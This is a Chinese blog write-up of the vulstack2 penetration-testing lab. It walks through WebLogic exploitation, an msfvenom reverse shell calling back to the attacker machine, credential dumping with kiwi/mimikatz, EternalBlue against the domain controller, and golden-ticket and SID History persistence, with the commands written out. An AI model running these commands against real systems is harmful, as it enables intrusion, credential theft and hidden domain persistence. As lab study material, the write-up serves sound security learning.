vulstack2 靶场做题笔记

发布时间 2023-04-19 15:28:23作者: z2n3

环境配置

  • DC
IP:10.10.10.10
OS:Windows 2012
  • WEB

默认初始密码登陆不进去,利用 de1ay/1qaz@WSX登陆

IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
  • pc
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
  • 攻击机

kali

ip:192.168.111.130

内网网段:10.10.10.0/24

DMZ网段: 192.168.111.0/24

管理员账号密码:Administrator/1qaz@WSX

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。

信息收集

假定我们现在有目标ip:192.168.111.80 然后我们现在要进行端口扫描,此时我们ping目标发现无法ping通,此时推测目标开启了防火墙

对于防火墙而言,除非特殊定义,否则全部ICMP消息包将被禁止通过防火墙(即不能使用ping命令来检验网络连接是否建立)。

nmap扫描

nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接

image-20230412150918588

或者直接

nmap -A -Pn -v -T4  192.168.111.80
-Pn 禁ping
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息

image-20230412152751854

相关信息

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-12T06:18:51
| Not valid after:  2053-04-12T06:18:51
| MD5:   1736 763c f611 574c 41f8 1914 2a6b 8b64
|_SHA-1: 7559 d877 1a13 24d7 4f13 441e e8f7 9479 9b89 954e
|_ssl-date: 2023-04-11T17:07:25+00:00; -14h20m00s from scanner time.
3389/tcp  open  ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2023-04-11T17:06:44+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-10T15:56:11
| Not valid after:  2023-10-10T15:56:11
| MD5:   9913 8605 3705 7183 2758 6234 6632 d053
|_SHA-1: c00d 9c0a 0e09 7888 2339 74ef 66c5 9736 49d2 22b5
|_ssl-date: 2023-04-11T17:07:24+00:00; -14h20m01s from scanner time.
7001/tcp  open  http           Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC


OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: WEB
|   NetBIOS computer name: WEB\x00
|   Domain name: de1ay.com
|   Forest name: de1ay.com
|   FQDN: WEB.de1ay.com

漏洞利用

很明显我们看到7001开放了weblogic服务,当然我们的基本素养就是知道7001端口是weblogc服务的默认端口,然后作为一个脚本小子肯定要用工具扫一下

image-20230412154526307

用工具扫出来发现有 cve-2017-10271、cve-2019-2725漏洞

利用漏洞直接上传一个冰蝎木马

image-20230412163813881

连接冰蝎

image-20230412164103445

利用冰蝎直接反弹一个msf的shell,这里攻击机设置监听

image-20230412164351741

然后利用集成的功能

image-20230412164439472

上去之后我们意识到一个问题就是java维持的shell 没法getsystem,导致没法进一步利用,所以我们这里选择msf生成一个exe木马,上传到目标机器后再进一步利用

systeminfo 查看系统信息

也验证了我们之前端口扫描的 是一台x64机器 win2008r2

image-20230412165058274

生成x64的exe木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6667 -f exe > n.exe

image-20230412171818083

然后直接利用刚才的shell传入目标机器,这里失误传到web目录了,不过无伤大雅

image-20230412171832492

本地设置监听

use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_tcp
set lport 6667
run

image-20230412170010263

然后利用虚拟机终端运行得到shell

image-20230412171929843

image-20230412171945190

这里的坑点是我之前运行的exe崩溃了,导致后续的exe用虚拟终端运行了而监听的地方没反应

这里也是成功上线了,但是我之前tasklist /svc的时候发现有360主动防御.exe,网上的一些文章说的是因为360的版本太低,没法杀死我的shell,后来发现这里是我没开启360,就先跳过这个免杀吧 ,后面补上。

进程迁移

有了shell之后简单的进行进程迁移,当前进程迁移到其他进程后 权限可能会根据进程权限而改变 可以找高权限的类似

image-20230412180104541

这里我看这个是高权限的,然后就迁移了一下,莫名其妙获得了system权限,这里没搞懂,挖个坑。也不知道这个是不是真实的system权限

内网信息收集

确定是否是域环境

这里就很明显是了,而且hostname和whoami得到的前缀也不同

systeminfo

image-20230412181202601

确定是域环境:域名为de1ay.com

查看路由表

这个的话就是可以大致得到一个网段的相关信息,以及可能存在的一些pc的ip,这里判断出192.168.111.0/24是外网的,10.10.10.0/24可能是内网的,我觉得dynamic的是要重点关注的

arp -a

image-20230412184232852

网卡相关信息

ipconfig /all

image-20230412184456430

这里我们看到10.10.10.0/24网段的dns服务器为10.10.10.10 极有可能就是域控服务器

查找域控服务器

一般为时间服务器

net time /domain

image-20230417104701275

ping 一下域控,得到ip就是 10.10.10.10

image-20230417110214827

域内主机

net view

image-20230417104752699

我们知道是总共有三台机子的,pc dc web 但是我们这里只发现了dc和web两台机子

net view 这个命令可以查看网络计算机列表和共享的资源,具体的原因就是pc机器没有开启共享

我们到pc机里面看一下 确实是关闭了网络发现和文件、打印机共享

image-20230417105624098

可以使用以下命令查看相应主机,但是吧,我们直接获得的就是域管理员的权限,所以能查看这个,当然相应的我们也可以去看其他的域内组,获得更多信息,至于为啥这里没有看到dc,因为dc机器属于域控制器了,在domain Controllers组里面

net group "domain computers" /domain 

image-20230417105848567

域内用户

net user /domain

image-20230417110239650

收集密码

前提是我们需要是一个system权限,这里我是迁移了一下

load_kiwi
creds_all

image-20230417113034173

我们知道了 administrator mssql de1ay用户的密码都是1qaz@WSX

简单总结

  • 域名:de1ay
  • 域内主机: dc 10.10.10.10 pc:10.10.10.201 web:10.10.10.80 192.168.111.80
  • 域内用户:administrator de1ay guest krbtgt mssql

横向移动

内网扫描

arp扫描内网网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

image-20230417150840940

扫描存活主机:

use auxiliary/scanner/smb/smb_version

这里不知道啥原因error了,不过结果应该和下面没太多区别

netbios做主机存货探测

use auxiliary/scanner/netbios/nbname

image-20230417152010014

这里由于pc机开启了防火墙,所以无法探测到其存活

icmp协议探测

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

image-20230417152649196

也是防火墙的原因,没探测到201机器的存活

总之经过以上的探测我们知道了,10.10.10.0/24网段中存在三台主机

  • 10.10.10.10-DC
  • 10.10.10.80-WEB 也就是当前机器
  • 10.10.10.201 推测的话就是PC机器了,因为域内主机有一台是pc 和web

版本扫描

这里还用了smb_version,我推测的话就是扫网段的话用的netbios,对单个目标的话的话就是smb扫描

use auxiliary/scanner/smb/smb_version
image-20230417153736294

这里也是可以知道pc是win7,dc是2012 r2

永恒之蓝

  • DC机器

这里注意使用bind_tcp

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 10.10.10.10
run

image-20230417154620570

这里直接获得shell

  • PC机器

同样的攻击方式没有成功,猜测是因为存在防火墙and 360

psexec

use windows/smb/psexec

image-20230417160959067

这里psexec没通,不知道为啥,密码的话已经不是1qaz@WSX了,因为登陆了dc机器后密码策略改了

权限维持

黄金票据

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。

条件:

1.域名称

de1ay.com

2.域的SID值

wmic useraccount get name,sid

image-20230417175600360

S-1-5-21-2756371121-2868759905-3853650604

3.域的KRBTGT账户NTLM密码哈希

hashdump

image-20230417174914422

82dfc71b72a11ef37d663047bc2088fb

4.伪造用户名

admin

利用kiwi生成黄金票据

golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u admin -t /home/zinc/admin.ticket

然后使用

kerberos_ticket_use /home/zinc/admin.ticket

image-20230417203618648

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami test123 /add

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

简单总结

总体流程的话采用信息收集->漏洞利用,好像中间并没有涉及太多隧道搭建的东西,因为都用的msf,所以直接用msf+路由然后处理的,对于360的免杀也没有太多考量,可能是版本太低,没触发?所以后来我干脆用msf+多重编码+捆绑的方法简单免杀了,后续如果学习更多免杀的话再补上吧,总体下来感觉内网部分和1没有啥区别

参考资料: